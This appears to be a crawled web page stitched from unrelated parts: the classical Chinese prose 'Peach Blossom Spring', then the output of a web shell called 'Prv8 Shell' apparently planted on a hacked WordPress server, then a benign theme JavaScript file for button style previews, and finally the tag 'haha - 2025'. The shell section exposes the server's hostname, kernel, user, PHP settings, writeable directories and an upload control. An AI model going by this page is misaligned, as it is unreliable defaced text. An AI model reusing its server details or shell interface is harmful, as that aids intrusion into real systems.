晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/themes/betheme/muffin-options/fields/preview/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/themes/betheme/muffin-options/fields/preview/field_preview.js
(function($) {

  /* globals jQuery */

  "use strict";

  var MfnFieldPreview = (function() {

    var preview = $('.mfn-item-preview .mfn-button');
    var condition = preview.closest('tbody').find('.condition');
    var text = preview.text();
    var systemFonts = [
      'Arial',
      'Georgia',
      'Tahoma',
      'Times',
      'Trebuchet',
      'Verdana'
    ];
    var font = {
      'family' : '',
      'style' : ''
    };

    /**
     * Padding
     */

    function padding( el ){

      var val = el.val(),
        key = el.data('key');

      // auto px

      if( val == parseInt(val, 10) ){
        val = val + 'px';
      }

      preview.css( 'padding-' + key , val );

    }

    /**
     * Font family
     */

    function fontFamily( el ){

      var val = el.val();

      if( -1 === $.inArray( val, systemFonts ) ){

        font['family'] = val;

        WebFont.load({
          google: {
            families: [font['family'] + ':400,' + font['style']],
            text: text
          }
        });

      } else {

        font['family'] = '';

      }

      preview.css( 'font-family', val );

    }

    /**
     * Font
     */

    function fontStyle( el ){

      var val = el.val(),
        key = el.data('key'),
        weight, style;

      // weight & style

      if( 'weight-style' == key ){

        font['style'] = val;

        preview.css( 'font-weight', val.replace('italic', '') );

        if( -1 === val.indexOf('italic') ){
          preview.css( 'font-style', 'normal' );
        } else {
          preview.css( 'font-style', 'italic' );
        }

        if( font['family'] ){
          WebFont.load({
            google: {
              families: [font['family'] + ':400,' + font['style']],
              text: text
            }
          });
        }

        return true;
      }

      // auto px

      if( val == parseInt(val, 10) ){
        val = val + 'px';
      }

      // line height

      if( 'font-size' == key ){
        preview.css( 'line-height', val );
      }

      preview.css( key, val );
    }

    /**
     * Color
     */

    function color( el, val ){

      var selector = "." + el.data('key');

      if( el.closest('tr').hasClass('highlighted') ){
        selector += "." + 'highlighted';
      }

      preview.filter( selector ).first().css( 'color', val );
    }

    /**
     * Background
     */

    function background( el, val ){

      var selector = "." + el.data('key');

      if( el.closest('tr').hasClass('highlighted') ){
        selector += "." + 'highlighted';
      }

      preview.filter( selector ).first().css( 'background-color', val );

    }

    /**
     * Border color
     */

    function borderColor( el, val ){

      var selector = "." + el.data('key');

      if( el.closest('tr').hasClass('highlighted') ){
        selector += "." + 'highlighted';
      }

      preview.filter( selector ).first().css( 'border-color', val );

    }

    /**
     * Border width
     */

    function borderWidth( el ){

      var val = el.val() + 'px';

      preview.css( 'border-width', val );

    }

    /**
     * Border radius
     */

    function borderRadius( el ){

      var val = el.val() + 'px';

      preview.css( 'border-radius', val );

    }

    /**
     * Attach events to buttons
     */

    function bind() {

      preview.on('click', function(e){
        e.preventDefault();
      })

      $('.preview-padding input').on('change', function() {
        padding( $(this) );
      });

      $('.preview-font-family select').on('change', function() {
        fontFamily( $(this) );
      });

      $('.preview-font input, .preview-font select').on('change', function(e) {
        fontStyle( $(this) );
      });

      $('.preview-color input').on('mfn:wpColorPicker:changed', function(e, value) {
        color( $(this), value );
      });

      $('.preview-color input').on('change', function(e, value) {
        color( $(this), $(this).val() );
      });

      $('.preview-background input').on('mfn:wpColorPicker:changed', function(e, value) {
        background( $(this), value );
      });

      $('.preview-background input').on('change', function(e, value) {
        background( $(this), $(this).val() );
      });

      $('.preview-border-width input').on('change', function() {
        borderWidth( $(this) );
      });

      $('.preview-border-color input').on('mfn:wpColorPicker:changed', function(e, value) {
        borderColor( $(this), value );
      });

      $('.preview-border-color input').on('change', function(e, value) {
        borderColor( $(this), $(this).val() );
      });

      $('.preview-border-radius input').on('change', function() {
        borderRadius( $(this) );
      });

    }

    /**
     * Preview state on document ready
     */

    function ready(){

      $('.preview-padding input').trigger('change');
      $('.preview-font-family select').trigger('change');
      $('.preview-font input, .preview-font select').trigger('change');
      $('.preview-color input').trigger('change');
      $('.preview-background input').trigger('change');
      $('.preview-border-width input').trigger('change');
      $('.preview-border-color input').trigger('change');
      $('.preview-border-radius input').trigger('change');

      $( 'input', condition ).on('change', function(){
        custom();
      });

    }

    /**
     * Show/hide custom controls
     */

    function custom(){

      var val = $('input:checked', condition).val();

      if( 'custom' !== val ){
        condition.siblings('.custom').addClass('hidden');
        condition.siblings(':not(.custom)').removeClass('hidden');
      } else {
        condition.siblings('.custom').removeClass('hidden');
        condition.siblings(':not(.custom)').addClass('hidden');
      }

    }

    /**
     * Runs whole script.
     */

    function init() {
      bind();
      ready();
      custom();
    }

    /**
     * Return
     * Method to start the closure
     */

    return {
      init: init
    };

  })();

  /**
   * $(document).ready
   * Specify a function to execute when the DOM is fully loaded.
   */

  $(function() {
    MfnFieldPreview.init();
  });

})(jQuery);

haha - 2025